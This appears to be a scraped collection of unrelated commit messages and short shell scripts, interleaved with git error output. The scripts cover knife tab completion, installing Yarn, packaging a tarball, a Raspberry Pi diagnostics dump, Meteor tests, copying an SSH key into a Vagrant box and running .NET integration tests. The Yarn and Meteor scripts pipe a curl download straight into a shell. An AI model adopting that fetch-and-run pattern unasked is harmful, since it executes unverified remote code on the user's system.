    [ $I -le $COMP_CWORD ] && _KCA_CURRENT_COMMAND_NB_WORDS=$I
}

# searches the position of the currently completed argument in the current base command
# (i.e. handles "plural" arguments such as knife cookbook upload cookbook1 cookbook2 and so on...)
# assumes the current base command is complete
_KAC_get_current_arg_position()
{
    local CURRENT_ARG_POS=$(( $_KCA_CURRENT_COMMAND_NB_WORDS + 1 ))
    local COMPLETE_COMMAND=$(cat $_KCA_CACHE_PATH | grep -E "^$_KCA_CURRENT_COMMAND")
    local CURRENT_ARG
    while [ $CURRENT_ARG_POS -le $COMP_CWORD ]
    do
        CURRENT_ARG=$(echo $COMPLETE_COMMAND | cut -d ' ' -f $CURRENT_ARG_POS)
        # we break if the current arg is a "plural" arg
        echo $CURRENT_ARG | grep -E "^\\[[^]]+(\\.\\.\\.\\]|$)" > /dev/null && break
        CURRENT_ARG_POS=$(( $CURRENT_ARG_POS + 1 ))
    done
    echo $CURRENT_ARG_POS
}

# the actual auto-complete function
_knife()
{
    _KAC_get_and_regen_cache _KAC_knife_commands
    local RAW_LIST ITEM REGEN_CMD ARG_POSITION
    COMREPLY=()
    # get correct command & arg pos
    _KAC_get_current_base_command && ARG_POSITION=$(_KAC_get_current_arg_position) || ARG_POSITION=$(( $COMP_CWORD + 1 ))
    RAW_LIST=$(cat $_KCA_CACHE_PATH | grep -E "^$_KCA_CURRENT_COMMAND" | cut -d ' ' -f $ARG_POSITION | uniq)

    # we need to process that raw list a bit, most notably for placeholders
    # NOTE: I chose to explicitely fetch & cache _certain_ informations for the server (cookbooks & node names, etc)
    # as opposed to a generic approach by trying to find a 'list' knife command corresponding to the
    # current base command - that might limit my script in some situation, but that way I'm sure it caches only
    # not-sensitive stuff (a generic approach could be pretty bad e.g. with the knife-rackspace plugin)
    LIST=""
    for ITEM in $RAW_LIST
    do
        # always relevant if only lower-case chars : continuation of the base command
        echo $ITEM | grep -E "^[a-z]*$" > /dev/null && LIST="$LIST $ITEM" && continue
        case $ITEM in
            *COOKBOOK*)
                # special case for cookbooks : from site or local
                [[ ${COMP_WORDS[2]} == 'site' ]] && REGEN_CMD="knife cookbook site list" || REGEN_CMD="knife cookbook list"
                _KAC_get_and_regen_cache $REGEN_CMD
                LIST="$LIST $(cat $_KCA_CACHE_PATH | cut -d ' ' -f 1)"
                continue
                ;;
            *ITEM*)
                # data bag item : another special case
                local DATA_BAG_NAME=${COMP_WORDS[$(( COMP_CWORD-1 ))]}
                REGEN_CMD="knife data bag show $DATA_BAG_NAME"
                ;;
            *BAG*) REGEN_CMD="knife data bag list";;
            *CLIENT*) REGEN_CMD="knife client list";;
            *NODE*) REGEN_CMD="knife node list";;
            *ENVIRONMENT*) REGEN_CMD="knife environment list";;
            *ROLE*) REGEN_CMD="knife role list";;
            *USER*) REGEN_CMD="knife user list";;
            # not a generic argument we support...
            *) continue;;
        esac
        _KAC_get_and_regen_cache $REGEN_CMD
        LIST="$LIST $(cat $_KCA_CACHE_PATH)"
    done
    COMPREPLY=( $(compgen -W "${LIST}" -- ${COMP_WORDS[COMP_CWORD]}))
}

complete -f -F _knife knife

error: pathspec 'knife_autocomplete.sh' did not match any file(s) known to git


Create yum-install-yarn.sh

Create yum-install-yarn.sh

#!/bin/bash

# This script installs Yarn (A package manager that replaces NPM and/or Bower)
# More info here: https://yarnpkg.com/en/

echo ""
echo "[Provision-Script] Installing Yarn"
echo ""

wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.repo
curl --silent --location https://rpm.nodesource.com/setup_6.x | bash -
yum install yarn

error: pathspec 'vagrant/centos7/dev/v1/yum-install-yarn.sh' did not match any file(s) known to git


add vagrant to docker group in dev env setup

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/simonsdave/cloudfeaster-services.git/'


script to create the .tar.gz

script to create the .tar.gz

git-svn-id: d8b078d517c8be834637447f210d7177f0fa38d6@341 0ce88b0d-b2fd-0310-8134-9614164e65ea

#/bin/sh -e

# $Id$

# create a new directory named after the current directory name
# the directory name should be in the form foo-bar.x.y.z
# the use of "_" is not recommanded since it is a problem for Debian

dir=$(basename $(pwd))-$(perl -ne 'if (m/^\d.\d.\d/) { s/ .*//; print; exit;}' README)

echo -e "Using $dir as directory name\n"

rv=$(echo $dir | sed -e 's/.*-[0-9]\.[0-9]\.[0-9]/ok/')
if [ $rv != "ok" ]
then
	echo "ERROR: The directory name should be in the form foo-bar-x.y.z"
	exit
fi

if [ -e $dir ]
then
	echo -e "ERROR: $dir already exists\nremove it and restart"
	exit
fi

# check the src/config.h files
grep "^#define DEBUG_LEVEL_PERIODIC" src/config.h && exit
grep "^#define DEBUG_LEVEL_COMM" src/config.h && exit

# clean
echo -n "cleaning..."
make distclean &> /dev/null
echo "done"

# generate Changelog
rcs2log | sed -e s+/cvsroot/pcsclite/Drivers/ccid/++g > Changelog

present_files=$(tempfile)
manifest_files=$(tempfile)
diff_result=$(tempfile)

# find files present
# remove ^debian and ^create_distrib.sh
find -type f | grep -v CVS | cut -c 3- | grep -v ^create_distrib.sh | sort > $present_files
cat MANIFEST | sort > $manifest_files

# diff the two lists
diff $present_files $manifest_files | grep '<' | cut -c 2- > $diff_result

if [ -s $diff_result ]
then
	echo -e "WARGING! some files will not be included in the archive.\nAdd them in MANIFEST"
	cat $diff_result
	echo
fi

# remove temporary files
rm $present_files $manifest_files $diff_result

# create the temporary directory
mkdir $dir

for i in $(cat MANIFEST)
do
	if [ $(echo $i | grep /) ]
	then
		idir=$dir/${i%/*}
		if [ ! -d $idir ]
		then
			echo "mkdir $idir"
			mkdir $idir
		fi
	fi
	echo "cp $i $dir/$i"
	cp -a $i $dir/$i
done

tar czvf ../$dir.tar.gz $dir
rm -r $dir

error: pathspec 'create_distrib.sh' did not match any file(s) known to git


Adding command line script for running application.

#!/bin/bash

java -jar googlecodejam-client.jar fr.faylixe.googlecodejam.client.application.CodeJamClient

error: pathspec 'codejamclient.sh' did not match any file(s) known to git


Added debug script

Added debug script

#!/bin/bash

#
#
# Script to report on and.or configure R-Pi GPIO ports for use with
#  Bostin Technology CognIoT range of devices.
#
#
# Copyright (C) 2017 Bostin Technology - All Rights Reserved

# Revision History
#	Version		Date			Details
#   =========	=============	========================================
#	1.0			8-Jan-2017		Initial release
#
#
#
#
#

set -o errexit -o nounset -o noclobber -o pipefail

# Variable declarations
SERIALID=`fgrep Serial  /proc/cpuinfo | head -1 | awk '{ print $3 }'`
OUTFILE=/tmp/$SERIALID

# Functions

# =============================     Main part of script

if [ -d $OUTFILE ]
then
	rm -rf $OUTFILE
else
	mkdir $OUTFILE
	touch $OUTFILE/sysconfig.txt
	touch $OUTFILE/installed_pkgs.txt
	touch $OUTFILE/pip_pkgs.txt
	touch $OUTFILE/pip3_pkgs.txt
	touch $OUTFILE/type.txt
	touch $OUTFILE/gpio.config
	touch $OUTFILE/devices.txt

fi

# Check to see if the "wiringpi" package is installed.
#  if not, install it

if [ $(dpkg-query -W -f='${Status}' wiringpi 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  sudo apt-get install wiringpi;
fi

echo `uname -a ` >>$OUTFILE/sysconfig.txt

echo `dpkg-query -W ` >>$OUTFILE/installed_pkgs.txt
echo `pip list ` >>$OUTFILE/pip_pkgs.txt
echo `pip3 list ` >>$OUTFILE/pip3_pkgs.txt

gpio -v  >>$OUTFILE/type.txt

gpio readall >>$OUTFILE/gpio.config

cp /boot/config.txt  $OUTFILE/

cp /boot/cmdline.txt $OUTFILE/

echo `ls -l /dev/ser*` >>$OUTFILE/devices.txt

error: pathspec 'cogniot-debug.sh' did not match any file(s) known to git


out with the npm, in with the meteor

out with the npm, in with the meteor

#! /bin/bash
set -e

curl https://install.meteor.com | /bin/sh

meteor --test

error: pathspec 'tests/jasmine/test.sh' did not match any file(s) known to git


add ssh module, this allows to add your private key to the box

Signed-off-by: Ike Devolder <6c5c99a37e4dd8841971a4b7c7580d6fcba68554@studioemma.eu>

#!/bin/bash

[[ -z $1 ]] && echo "must give a startdir" && exit 1

[[ ! -f "$1/id_rsa" ]] && echo "please add your private key as id_rsa" && exit 2

#[[ ! -e "$startdir/id_rsa.pub" ]] && echo "please add your public key as id_rsa.pub" && exit 3

cp -a "$1"/id_rsa /home/vagrant/.ssh/
chown vagrant:vagrant /home/vagrant/.ssh/id_rsa
chmod 0600 /home/vagrant/.ssh/id_rsa

error: pathspec 'ssh/install.sh' did not match any file(s) known to git


added missing bower packages

added missing bower packages

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lavelle/coursework.git/'


Preliminary script to run all integration tests, including snippets.

We need to work on the flakiness of these tests though.

#!/bin/bash

# Assumption: everything has been built already.

set -e

[[ $(dotnet --info | grep "OS Platform" | grep -c Windows) -ne 0 ]] && OS=Windows || OS=Linux

cd apis

# Only run them for Core, for simplicity.
for testdir in */*.IntegrationTests */*.Snippets
do
  if [[ "$testdir" =~ (Metadata|AspNet|Log4Net) ]]
  then
    echo Skipping $testdir
  else
    dotnet test -f netcoreapp1.0 $DOTNET_TEST_ARGS $testdir
  fi
done

error: pathspec 'runintegrationtests.sh' did not match any file(s) known to git